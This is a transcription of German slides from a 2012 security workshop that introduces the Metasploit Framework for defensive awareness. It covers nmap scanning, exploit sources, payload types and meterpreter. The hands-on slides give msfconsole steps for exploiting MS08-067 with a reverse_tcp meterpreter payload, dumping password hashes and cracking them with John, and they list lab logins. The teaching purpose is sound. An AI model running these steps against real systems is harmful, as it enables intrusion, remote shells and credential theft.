Metasploit Framework
Transcription
Metasploit Framework
Willkommen zum Security Willkommen zum ITSeCXDay 20122012 Workshop System Exploitation Freitag, 09. November 12 Workshop Überblick Metasploit Framework kennenlernen Awareness und Wissen über moderne Angriffswerkzeuge schärfen „hands-on“ Umgebung Backtrack 5 R1 User: root Password: toor Server-Victim User: Administrator Password: test und Client-Victim User: Administrator Password: admin Hilfestellungen Einzugebende Kommandos finden sich in den Slides Fragen Bitte jederzeit stellen! Freitag, 09. November 12 2 Freitag, 09. November 12 Motivation für diesen Workshop Angriffswerkzeug Metasploit vorstellen um daraus Lessons Learned für die Defensive zu ziehen um zu sehen, „wie einfach“ die Verwendung von Exploit Tools mittlerweile sein kann grundlegendes „Handling“ des Werkzeugs vermitteln um sich eigenständig eingehender damit zu beschäftigen um Awareness schaffen zu können einfache Angriffsszenarien darstellen um besseres Verständnis dafür zu bekommen, was alles mit modernen Angriffswerkzeugen (auch automatisiert) möglich ist 3 Freitag, 09. November 12 Port- und Vulnerability Scanning Schwachstellen in Netzwerken und Systemen finden netzwerkseitige Vulnerability Scans lokale Vulnerability Scans Vulnerability Scanning Suche nach bekannten Sicherheitsproblemen und Schwachstellen Port Scanning Suche nach offenen, geschlossenen oder gefilterten Ports Operating System Detection Versuch, das Betriebssytem eines Zielsystem (netzwerkseitig) zu identifizieren Service/Version Detection Versuch, den Service/dessen Version an einem offenen Port festzustellen Freitag, 09. November 12 NMAP: Network Mapper NMAP Buch als Standard-Referenz zu Port Scanning http://nmap.org/book/ Freitag, 09. November 12 NMAP: Network Mapper …eines der wenigen real existierenden Tools aus Filmen Yes, even the Matrix runs OpenSSH !!! Freitag, 09. November 12 TCP Port Scanning TCP 3-Way Handshake zum Verbindungsaufbau, TCP-Flags TCP Port offen SYN SYN / ACK HO ST ACK R E V R SE TCP Port geschlossen SYN RST HO ST Freitag, 09. November 12 R E V R SE Scannen nach offenen Ports... nmap -sS -n --reason 192.168.1.1 nmap -sU -p0-2048 -n --reason 192.168.1.1 Freitag, 09. November 12 Erkennen des Betriebssystems nmap -O -n --reason 192.168.1.1 nmap -O -n --reason 192.168.1.1 Freitag, 09. November 12 Erkennen der laufenden Services nmap -sV -n --reason 192.168.1.1 Freitag, 09. November 12 Erkennen von Schwachstellen auf laufenden Services nmap --script=exploit -n --reason 192.168.1.1 Freitag, 09. November 12 Exploits und andere Angriffswerkzeuge ... zumindest theoretisch seit 1972 bekannt in „Computer Security Technology Planning Study“ von James P. Anderson Problematik grundsätzlich beschrieben praktisch seit mind. 1987 ein Begriff „Morris Worm“ „zur Abmessung der Größe des ARPAnet“ nutze unterschiedliche bekannte Schwachstellen aus sendmail, finger, rsh/rexec seither Exploit-Code laufend auf Mailing-Listen, Portalen u.ä veröffentlicht 12 Freitag, 09. November 12 Exploit Portale – gestern – heute – morgen? bieten Exploits zum Download an Nmap Exploit World (geht zurück auf 1996) K-Otic / FrSirt Milw0rm (geht zurück auf 1998) aktuell: Großteil der Exploit-Portale in „Exploit-Database“ archiviert (www.exploit-database.com) >> http://www.exploit-db.com Exploit Database (http://www.exploit-db.com/) 13 Freitag, 09. November 12 Heute: Exploitation Frameworks Kommerzielle Werkzeuge (meist ab USD 15.000 lizenzierbar) Immunitysec CANVAS Core Impact Pro Metasploit Pro / Express Open-Source oder freie Werkzeuge Metasploit Framework / Community Inguma winAUTOPWN 14 Freitag, 09. November 12 Heute: Exploit Packs und Exploit Kits Exploit Packs enthalten neueste Exploits für populäre Schwachstellen kommerzielle Produkte Meist in Verbindung mit Exploitation Frameworks verwendbar VulnDisco Pack Professional D2 Exploitation Pack „Exploit Kits“ Begriff wird für Tools zum Customizing von Malware verwendet enthalten meist auch Exploit-Sammlungen für neueste Schwachstellen „underground ware“ 15 Freitag, 09. November 12 Immunitysec CANVAS verfügt dzt. über ca. 490Exploits monatlich ca. 4 Exploits hinzugefügt Fokus auf folgende Schwachstellen mit Möglichkeit zur Remote Exploitation in „mainstream“ Software alle Plattformen und Applikationen Vorteile Exploits sind getestet bzw. Anpassung kann angefordert werden Support für Tester ist verfügbar graphische Interfaces leiten durch den Angriffsvorgang 16 Freitag, 09. November 12 Core Impact Professional verfügt über ca. 700 Exploits monatlich ca. 10-20 Exploits hinzugefügt Fokus auf folgende Schwachstellen mit Möglichkeit zur Remote Exploitation mit Möglichkeit zur Local Exploitation Schwachstellen in Webapplikationen etabliert eigene Methodologie RPT (Rapid Penetration Testing) Tester wird Schritt für Schritt durch den ganzen Vorgang angeleitet alles im graphischen Interface erledigbar Berichtsfunktionalitäten im Produkt inkludiert 17 Freitag, 09. November 12 Metasploit verfügt über ca. 758 Exploits Exploits sind Open-Source jeder kann Exploits mit Hilfe des Metasploit Frameworks entwickeln monatlich ca. 10-20 Exploits hinzugefügt „user-contributed“ Code (bedenklich?) gratis oder im Rahmen von „Bug Bounty“ Wettbewerben bereitgestellt in freien und kostenpflichtigen Editionen verfügbar „Metasploit Framework“ ist gemeinsame Basis für alle Editionen 18 Freitag, 09. November 12 Metasploit Framework gemeinsame Basis für alle Editionen wesentlicher Nachteil keine webbasierte Oberfläche wie in Express / Community / Pro keine inkludierten Reporting-, Scheduling- oder Automatisierungsmöglichkeiten kein Support, daher auch keine Funktionsgarantien wesentlicher Vorteil tagesaktuell aus dem SVN mit Exploits und Angriffswerkzeugen aktualisierbar frei zugänglich und erweiterbar „If it is in metasploit, you should patch it.“ 21 Freitag, 09. November 12 Metasploit Framework eine einfache Umgebung zum Entwickeln von Exploits Metasploit Framework bietet Basisstruktur auf vorhandener Funktionalität des Frameworks kann aufgebaut werden ein Testwerkzeug für unterschiedlichsten Einsatz Metasploit bis Version 2.x in Perl entwickelt, seit 3.x in Ruby 22 Freitag, 09. November 12 Metasploit Features Import von Ergebnissen anderer Tools NMAP, Nessus, Rapid7 Nexpose, WebInspect, ... Session Management und Scripting Verbindungen zu kompromittierten Systemen werden aufrecht gehalten Automatisierung von Arbeitsschritten ist möglich IDS und Firewall Evasion Veränderung des Traffics zur Umgehung von Firewalls und IDS Pivoting (Tunneling in andere Netzwerke) Post-Exploitation Tools inkludiert nicht nur Angriff, sondern auch Weiterführung des Angriffs erfolgt direkt aus dem Framework 23 Freitag, 09. November 12 Metasploit Dokumentation Metasploit ist ein Community-Projekt Dokumentation kommt aus der Community WIKIBOOKS (http://en.wikibooks.org/wiki/Metasploit/Contents) Metasploit Unleashed unleashed/) (http://www.offensive-security.com/metasploit- 25 Freitag, 09. November 12 Metasploit Dokumentation Metasploit ist ein Community-Projekt Dokumentation kommt aus der Community Security Tube “Metasploit Megaprimer” (http://www.securitytube.net/groups? operation=view&groupId=8) über 5 Stunden Videos zu Verwendung von Metasploit div. Bücher, Magazine, Präsentationen, … 26 Freitag, 09. November 12 Metasploit Kurse einen echten “Metasploit Kurs” gibt es nicht das Framework verändert sich laufend “mit jedem SVN Checkout kann eine neue Funktion hinzukommen” div. sehr gute Online-Kurse beschäftigen sich mit Metasploit sehr intensiv Offensive Security: “Penetration Testing with Backtrack” 27 Freitag, 09. November 12 Aufbau des Metasploit Frameworks Metasploit ist eine Sammlung von Ruby-Bibliotheken div. Tools zur Entwicklung von Exploits Metasploit Dokumentation FRAMEWORK Documentation User Interfaces Modules Exploit Creation Misc. 28 Freitag, 09. November 12 Aufbau des Metasploit Frameworks Module stellen die eigentliche Funktionalität des Frameworks MODULES Encoders Exploits Payloads Auxiliary Post 29 Freitag, 09. November 12 Which interface to rule them all? msfd – Metasploit Framework Daemon Daemon auf Port 55554 konzipiert für Zugriff durch mehrere Benutzer entspricht für einzelne Benutzer msfconsole msfcli – Metaspoit Framework Command Line Kommandos müssen in einzelner Zeile übergeben werden hauptsächlich für Scripting interessant 30 Freitag, 09. November 12 Which interface to rule them all? msfgui – Metasploit Framework GUI java-basiertes Interface, kurzzeitig nicht weiterentwickelt worden msfconsole – Metasploit Framework Console Command-Line Shell zur Steuerung des Frameworks wahrscheinlich das wichtigste / bevorzugteste Interface für MSF 31 Freitag, 09. November 12 Which interface to rule them all? Armitage neuestes GUI für Metasploit sehr einfache Benutzerführung laufend weiterentwickelt Verwendung auch in Teams möglich jeder hat eigenes GUI alle arbeiten auf derselben Metasploit Instanz für Präsentationen zur AwarenessSchaffung sehr gut geeignet! 32 Freitag, 09. November 12 cd /pentest/exploits/framework ./msfconsole 33 Freitag, 09. November 12 help search show info use Befehlsübersicht Module suchen Module anzeigen Modulinformationen anzeigen Modul anwenden 34 Freitag, 09. November 12 Mom, where do the exploits come from? stable versions von Metasploit in regelmäßigen Release-Zyklen üblicherweise wird testing branch direkt aus SVN bezogen neueste Exploits neueste Payloads neueste Bugfixes aber: Testing, keine stabile Version (stabile Versionen für Security-Tools?) 1-2 Updates pro Tag machen durchaus Sinn auf jeden Fall immer mit der aktuellsten Revision des Frameworks arbeiten 35 Freitag, 09. November 12 Metasploit Modules – „Exploits“ Exploit-Module zur Ausnutzung von Schwachstellen müssen mit Payloads kombiniert werden, um sinnvolle Aktionen ausführen zu können unterschiedliche Arten von Exploits Remote Exploits zum Angriff von (Server-)dienste über Netzwerke Local Exploits zur Ausführung von Attacken lokal auf Systemen (zb.: Privilege Escalation) Client-Side Exploits zum Angriff von Clients über Netzwerke (zb.: über Browser) Document Format Exploits zur Erstellung von Dateien (PDF, AVI, MP3, ...), welche Schadcode enthalten und Schwachstellen in Programmen ausnutzen 36 Freitag, 09. November 12 Metasploit Modules – „Exploits“ Unterstützte Plattformen Windows Linux Unix (IRIX, Solaris, AIX, HPUX) OSX Client-side exploits Internet Explorer/Firefox DLL-Hijacking Real Player Document format exploits PDF MS Office Quicktime 37 Freitag, 09. November 12 Metasploit Modules – „Payloads“ führen Aktionen nach dem Ausnutzen der Schwachstelle aus verschaffen in der Regel dem Angreifer Zugriff auf das System öffnen Listener Ports, auf die Angreifer verbindet (bind_tcp) verbinden sich zum Angreifer zurück (reverse_tcp) tunneln Netzwerkverkehr um Firewalls oder Proxies zu umgehen reverse_http(s) reverse_tcp_dns ermöglichen die Interaktion mit dem Zielsystem über einfache Shells über graphische Oberflächen (VNC) über „meterpreter“ eine spezialisierte Shell, welche weite Teile des Metasploit Frameworks auf das Zielsystem transferiert 39 Freitag, 09. November 12 Metasploit Modules – „Single Payloads“ in sich abgeschlossene Payloads adduser Adds a user to local admins group (download_)exec (Downloads and) runs a command on the target machine shell_bind_tcp(_xpfw) Provides cmd.exe access via a port listener (after disabling the Windows Firewall) shell_reverse_tcp Makes a connection back to the attacker to provide shell access 40 Freitag, 09. November 12 Metasploit Modules – „Post“ zur Ausführung von Post Exploitation Angriffen diverse Möglichkeiten bringt das Framework mit Dumpen von Hashes Dumpen von gespeicherten Passwörtern in Applikationen (Browser, 3rd Party Software, ...) anlegen von neuen Benutzern „Pivoting“: Tunneling über den kompromittierten Host in weitere Netzwerke gibt es kein Post Module, bleibt ... Scripting in Meterpreter (Ruby) „Railgun“ (direktes Ansprechen der Windows API) 41 Freitag, 09. November 12 use exploit/windows/smb/ms08_067_netapi info show show options set RHOST 192.168.1.1 set PAYLOAD windows/meterpreter/reverse_tcp show options set LHOST 192.168.1.2 exploit 43 Freitag, 09. November 12 show targets set TARGET 13 exploit 46 Freitag, 09. November 12 So it did not work? Functional Exploit Exploit muss getestet sein, um in verschiedenen Environments verlässlich zu funktioneren Hardening Options Betriebssysteme bieten Schutz vor manchen Exploit-Techniken DEP (Data Execution Prevention) ASLR (Address Space Layout Randomization) SEHOP (Structured Exception Handler Protection) Compiler kennen auch Schutzmechanismen („Stack Cookies“) („Canaries“) Betriebssystemversionen (Kernel-Version, Patch-Stand) unterschiedlich kompilierte Binaries zb.: beim Einsatz unterschiedlicher Sprachversionen 45 Freitag, 09. November 12 Metasploit Meterpreter kein eigener Prozess auf Ziel erkennbar daher nicht so einfach zu finden AT TA funktioniert nur auf Windows Systemen CK E R DLL DLLs werden in kompromittierten Prozess injiziert Exploited TARGET Process Meterpreter E XP LO IT spezialisierte Shell für Angriffe 47 Freitag, 09. November 12 Metasploit Meterpreter Basic commands ? / help exit / quit sysinfo : Shows name and OS type of target machine shutdown / reboot reg : Allows reading / writing to the registry of the target machine 48 Freitag, 09. November 12 Metasploit Meterpreter Filesystem commands cd : navigate on target machine lcd : navigate on local (attackers) machine pwd / getwd : Shows current directory ls, cat, mkdir, rmdir : All familiar unix style commands download / upload : Move files between local and target machines edit : vi style editor 49 Freitag, 09. November 12 Metasploit Meterpreter Metasploit Meterpreter getpid : shows the process ID that meterpreter is running within getuid : shows the user ID that meterpreter is running as ps : Shows active processes kill : kills a process execute : executes a program on the target machine migrate : move meterpreter into the memory of another process Cannot jump to higher priv process Can be useful if you exploit an unstable process 50 Freitag, 09. November 12 Metasploit Meterpreter Network Commands ipconfig : shows the interface information portfwd : Sets a local port listener to forward packets through the meterpreter process to other target machines on the target LAN route : displays the targets routing table (add/del/subnet/netmask and gateway options can alter the targets routing table. 51 Freitag, 09. November 12 Metasploit Meterpreter help sysinfo screenshot 52 Freitag, 09. November 12 Metasploit Meterpreter Scripts erweitern die Funktionalität von Post Modulen können zur Automatisierung von Post-Exploitation verwendet werden run <TAB><TAB> 53 Freitag, 09. November 12 Metasploit Meterpreter hashdump (OUTPUT in File hashes.txt schreiben) cd /pentest/password/john john /root/hashes.txt 54 Freitag, 09. November 12